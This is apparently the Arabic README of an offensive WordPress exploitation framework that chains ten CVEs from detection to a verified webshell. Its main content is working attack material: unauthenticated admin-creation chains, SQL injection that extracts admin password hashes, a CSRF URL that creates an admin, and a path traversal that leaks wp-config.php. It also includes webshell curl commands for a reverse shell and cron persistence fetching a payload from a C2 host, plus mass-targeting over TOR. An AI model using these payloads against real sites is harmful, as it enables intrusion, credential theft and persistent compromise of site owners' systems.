
إطار عمل استغلال شامل لووردبريس — كاشف، ماسح، معدّد، مستغل، ومصحّح صلاحيات. 10 ثغرات CVE من موجة 2026-08 بما في ذلك CVE-2026-63030 (wp2shell).
إطار عمل الكل في واحد لاستغلال WordPress — كاشف · ماسح · مُعدِّد · استغلال · تصعيد
wp2exp_2026 هو الخلف المعاد تسميته والمُختبَر ميدانيًا لإطار عمل wp2shell. يدمج سلسلة الفحص/الاستغلال الأصلية من wp2shell، وثلاث حزم PoC عامة لثغرة CVE-2026-63030 (Ch4120N، وshinthink، وSentinelX)، وموجة ثغرات WordPress لشهر أغسطس 2026 المجمعة من NVD / GitHub Advisories / CISA KEV عبر خط أنابيب darkweb-intel عبر TOR — في نص برمجي واحد ينقل الهدف من التعرف السلبي على البصمة وصولًا إلى شيل ويب مُتحقق منه.
┌──────────┐ ┌──────────┐ ┌───────────┐ ┌───────────┐ ┌──────────┐
│ DETECTOR │ -> │ SCANNER │ -> │ ENUMERATOR│ -> │ EXPLOIT │ -> │ ESCALATE │
│ 10 CVEs │ │ version/ │ │ users/ │ │ admin │ │ webshell │
│ probes │ │ WAF/XMLRPC│ │ plugins │ │ create/ │ │ rev shell │
└──────────┘ └──────────┘ └───────────┘ └───────────┘ └──────────┘
⚠️ الاختبار المصرح به فقط. وضع
scanغير مدمر. أوضاع الاستغلال تتطلب صراحةً تحديد--mode. أنت مسؤول عن الحصول على إذن كتابي لكل هدف.
# Clone
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026
# Dependencies: Python 3.8+ standard library only.
# Optional: PySocks for SOCKS5/TOR proxying
pip install pysocks
لا مفاتيح API، ولا قاعدة بيانات، ولا تجميع.
# 1. Safe scan of one target (detector + scanner + enumerator)
python3 wp2exp_2026.py https://target.com
# 2. Same scan, but fire exploitation (admin creation + content dumps)
python3 wp2exp_2026.py https://target.com --mode exploit
# 3. Full chain to a verified webshell
python3 wp2exp_2026.py https://target.com --mode shell
# 4. Mass scan a file of targets
python3 wp2exp_2026.py -f targets.txt --threads 10
# 5. Anonymous scanning through TOR
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050
usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
[--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
[--timeout N] [--threads N] [--json] [-o OUTPUT]
| الوسيط | الافتراضي | الوصف |
|---|---|---|
targets | — | عنوان URL أساسي واحد أو أكثر (https://site.com أو site.com بدون بروتوكول) |
-f, --file | — | ملف يحتوي هدفًا واحدًا في كل سطر (التعليقات # مسموحة) |
--mode | scan | scan = كشف فقط · exploit = فحص + استغلال · shell = فحص + استغلال + شيل ويب |
--shell | mini | نوع شيل الويب: mini (تنفيذ أمر بسطر واحد) أو full (إدارة ملفات / تنزيل / شيل عكسي / استمرارية cron) |
--mapster-dump | 0 | تفريغ N من معرّفات المقالات عبر CVE-2026-14839 (0 = معطّل) |
--sqli-info | off | استخراج db_version / siteurl / تجزئة كلمة مرور المدير / بادئة الجداول عبر SQLi (CVE-2026-60137) |
--verify | off | فحص ذاتي للبيئة (Python، PySocks، إمكانية الوصول إلى الوكيل، مصفوفة CVE، محلل الإصدارات) ثم خروج |
--proxy | — | وكيل HTTP أو SOCKS5: socks5h://127.0.0.1:9050 (TOR) |
--timeout | 15 | مهلة زمنية لكل طلب (بالثواني) |
--threads | 5 | أهداف متوازية (تُستخدم فقط مع أهداف متعددة / -f) |
--json | — | طباعة تقرير JSON قابل للقراءة آليًا إلى stdout |
-o, --output | — | كتابة تقرير JSON كامل إلى ملف |
scan — كاشف + ماسح + مُعدِّد (آمن)غير مدمر. استخدمه أولًا على أي هدف.
ما الذي يفعله، بالترتيب:
| # | المرحلة | الفحوصات |
|---|---|---|
| 1 | البصمة | إصدار WordPress عبر مُولّد /feed/، و/readme.html، ووسم meta generator، ومُولّد REST API — يشير إلى ما إذا كان الإصدار يقع ضمن نطاق wp2shell المعرّض للثغرات (6.9.0–6.9.4، 7.0.0–7.0.1) |
| 2 | كشف WAF | Cloudflare / Sucuri / Akamai / AWS WAF / Imperva / Wordfence / F5 من الترويسات + علامات الجسم |
| 3 | XMLRPC | استكشاف system.listMethods → يشير إلى سطح هجوم القوة العمياء عبر multicall وسطح SSRF عبر pingback |
| 4 | تعداد المستخدمين | REST /wp-json/wp/v2/users + بديل ?rest_route= + أرشيف المؤلف (?author=N) |
| 5 | تعداد الإضافات | Stable tag من readme.txt لجميع الإضافات الثماني المتتبعة — يشير إلى الإصدارات المعرّضة للثغرات وفق مصفوفة CVE |
| 6 | استكشاف wp2shell | استكشاف آمن لعدم التزامن في الدفعات (desync) (CVE-2026-63030) — يُرسل تمهيدًا مشوّهًا (primer) + طلب DELETE حميدًا لفئة غير موجودة؛ ويبحث عن علامات اختطاف المعالج (parse_path_failed, block_cannot_read, rest_batch_not_allowed) |
| 7 | فحوصات CVE | استكشافات سلوكية حية + فحوصات إصدار لجميع ثغرات CVE العشر (انظر الجدول أدناه) |
مثال:
python3 wp2exp_2026.py https://example.com
# outputs: version, WAF, XMLRPC, users, plugin versions, per-CVE verdicts
exploit — فحص + استغلالكل ما في scan، بالإضافة إلى:
| الاستغلال | الشرط | ما يحدث |
|---|---|---|
| إنشاء مدير قبل المصادقة | wp2shell VULNERABLE | المحاولة 1: حمولة ارتباك المسار في الدفعات (batch route-confusion) تُرسل POST /wp/v2/users مع roles:["administrator"]. المحاولة 2 (بديلة): سلسلة تسميم ذاكرة التخزين المؤقت لـ oEmbed عبر SQLi (shinthink) — تحقن عبر union قيمة customize_changeset لاختطاف ذاكرة تخزين oEmbed وإنشاء مدير. تطبع username / password عند النجاح |
| استخراج معلومات SQLi | --sqli-info | استخراج قائم على الأخطاء/union (CVE-2026-60137): db_version، siteurl، تجزئة user_pass لأول مدير، بادئة الجداول |
| تفريغ محتوى Mapster | --mapster-dump N | يعدد معرّفات المقالات 1..N عبر /wp-json/mapster-wp-maps/feature?id=N، ويجمع عناوين المقالات المسودة / المعلّقة / الخاصة / المحذوفة + محتواها الكامل (CVE-2026-14839) |
مثال:
# Scan + create admin + dump 200 post IDs through Mapster
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200
--verify — الفحص الذاتي للبيئةيتحقق من بيئة التشغيل قبل أي فحص: Python ≥3.8، وتوفر PySocks (SOCKS5/TOR)، وإمكانية الوصول إلى الوكيل (إذا كان --proxy مضبوطًا)، وسلامة مصفوفة CVE، وصحة محلل الإصدارات.
python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050
shell — السلسلة الكاملة نحو شيل ويبكل ما في exploit، بالإضافة إلى التصعيد: إذا نجح إنشاء المدير، يقوم النص البرمجي بما يلي:
wp-login.php (مخزن ملفات تعريف الارتباط)_wpnonce لمحرر القوالب + القالب النشط → كتابة شيل ويب عبر admin-ajax.php?action=edit-theme-plugin-fileupdate.php?action=upload-plugin، ثم تفعيلهid عبر الشيل — طباعة مخرجات الأمر المباشرةأنواع شيل الويب (--shell):
| النوع | الميزات |
|---|---|
mini | ?k=KEY&c=COMMAND → مخرجات أوامر كنص عادي |
full | a=cmd تنفيذ · a=upload كتابة ملف (b64) · a=download قراءة ملف · a=rev شيل عكسي (h=HOST&p=PORT) · a=persist استمرارية عبر crontab (u=URL) · phpinfo() افتراضيًا |
مثال:
python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...
الاستخدام اليدوي للشيل بعد تشغيل ناجح:
# Command execution (mini)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'
# Full shell — file upload
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d=<base64>'
# Full shell — reverse shell (listener: nc -lvnp PORT)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'
# Full shell — cron persistence (curl piped to sh from your C2)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'
| CVE | الهدف | CVSS | الفئة | الكشف | الاستغلال |
|---|---|---|---|---|---|
| CVE-2026-63030 | WP Core 6.9.0–6.9.4، 7.0.0–7.0.1 | 9.8 | ارتباك مسار REST batch → RCE | ✅ استكشاف علامات desync | ✅ إنشاء مدير + شيل |
| CVE-2026-60137 | WP Core (نفس النطاق) | 5.9 | SQLi في author__not_in | ✅ إصدار + علامة | ✅ عبر سلسلة 63030 |
| CVE-2026-3141 | FormGent ≤ 1.9.2 | 9.1 | حذف ملفات تعسفي بدون مصادقة | ✅ استكشاف DELETE حي | ✅ file_token قابل للتزوير بترميز b64 |
| CVE-2026-13596 | Participants DB < 2.7.8.4 | 9.1 | SQLi بدون مصادقة (بحث القائمة) | ✅ استكشاف تسريب الأخطاء | ⚠️ يدوي (أعمى) |
| CVE-2026-15414 | Subscriptions for WooCommerce ≤ 2.0.0 | 8.8 | تصعيد صلاحيات _wps_plan_user_role | ✅ إصدار | ✅ توثيق سلسلة |
| CVE-2026-15988 | AI Engine ≤ 3.6.5 | 8.8 | CSRF → إنشاء مدير | ✅ استكشاف namespace | ✅ مولّد URL لـ PoC |
| CVE-2026-15450 | Nex Forms Lite ≤ 9.2.3 | 8.1 | حذف ملفات تعسفي بمصادقة | ✅ إصدار | ✅ توثيق سلسلة |
| CVE-2026-15006 | Bit Integrations ≤ 2.9.0 | 7.5 | عبور مسار بدون مصادقة (تجاوز nonce لـ CF7) | ✅ إصدار | ✅ توثيق سلسلة |
| CVE-2026-14839 | Mapster WP Maps < 1.24.0 | 7.5 | تفريغ مقالات خاصة/مسودة بدون مصادقة | ✅ استكشاف حي | ✅ --mapster-dump |
| CVE-2026-15052 | MailChimp Subscribe ≤ 4.3.3 | 7.2 | XSS مخزّن بدون مصادقة | ✅ إصدار | ✅ توثيق سلسلة |
DELETE /wp-json/formgent/v1/responses/attachments?file_token=<base64("formgent/YYYY/MM/FILE")> — المسار مُسجَّل بدون برمجية مصادقة وسيطة؛ الرمز هو base64 خام للمسار النسبي (قابل للتزوير). الإصدارات المُصلَّحة تستخدم UploadFileToken مُوقَّعًا.reauth_for_authorize مطابقة لـ /mcp/v1/oauth/authorize عبر اختبار جزء فرعي (substring) ضد REQUEST_URI بما في ذلك سلسلة الاستعلام. أضف &x=/mcp/v1/oauth/authorize إلى أي طلب REST لاستعادة الهوية الكاملة لمستخدم ملف تعريف الارتباط. CSRF كلاسيكي: زيارة مدير لرابط مُصمَّم خصيصًا تنشئ حساب مهاجم.
https://T/wp-json/wp/v2/users?_method=POST&x=/mcp/v1/oauth/authorize&username=csrf_admin&password=...&roles=administrator
wpcf7_verify_nonce => __return_true → إرسالات CF7 لا تحتاج nonce؛ أرسل حقل ملف يحتوي ../../../../wp-config.php وسيقوم إجراء التكامل (webhook/email) بتسريب الملف.insert_record() يخزّن location لملف يتحكم فيه المهاجم، ثم يستدعي delete_file() الدالة unlink($file) دون أي تحقق من realpath() أو قائمة مسموحات.save_meta_boxes() يحفظ _wps_plan_user_role من $_POST؛ يتم تطبيق sanitize_key() + is_role() فقط — وكلاهما يقبل administrator.بُني النص البرمجي من معلومات استخباراتية جمعها خط أنابيب darkweb-intel عبر TOR (جمع أحدث ثغرات CVE من NVD، وGitHub Advisories، وCISA KEV) ويدعم الفحص المجهول:
# Scan through TOR (requires tor daemon on 9050)
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5
# Verify your exit node
# (script's Http layer reports IsTor:true when routing through TOR)
سلوك مُتحقق منه: تم تأكيد توصيلات الوكيل مقابل check.torproject.org/api/ip → {"IsTor":true} عبر عقدة الخروج 192.42.116.45.
# Console: colored per-stage verdicts + final summary table
# JSON report to file (always includes raw responses for evidence)
python3 wp2exp_2026.py https://example.com --mode shell -o report.json
# Full JSON to stdout for piping into jq / your own tooling
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'
بنية التقرير:
{
"target": "https://example.com",
"version": "7.0.1",
"waf": "Cloudflare",
"xmlrpc": true,
"users": [{"id": 1, "name": "admin", "slug": "admin"}],
"plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
"core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
"cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
"exploitation": {
"wp2shell_admin": {"success": true, "username": "...", "password": "..."},
"shell": {"success": true, "shell_url": "...", "key": "..."},
"mapster_posts": [...]
}
}
تم التحقق بتاريخ 2026-08-04 ضد مختبر WordPress معرّض للثغرات تمت محاكاته — بطارية ضمان الجودة: 32/32 فحصًا ناجحًا (جميع الأوضاع، نقاء JSON، الأهداف المتعددة، تطبيع اسم المضيف المجرد، تسريب مسودات/خاص Mapster، استخراج SQLi لإصدار قاعدة البيانات + تجزئة المدير، سلسلة الشيل الكاملة):
wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45
exploit (--sqli-info)--verifydarkweb_intel.pyنرحب بطلبات السحب (PRs). حافظ على الحمولات غير مدمرة افتراضيًا.
MIT. للاستخدامات المصرح بها فقط. لا تشغّل --mode exploit / --mode shell ضد أصول لا تملكها أو ليس لديك إذن كتابي لاختبارها. المؤلفون غير مسؤولين عن سوء الاستخدام.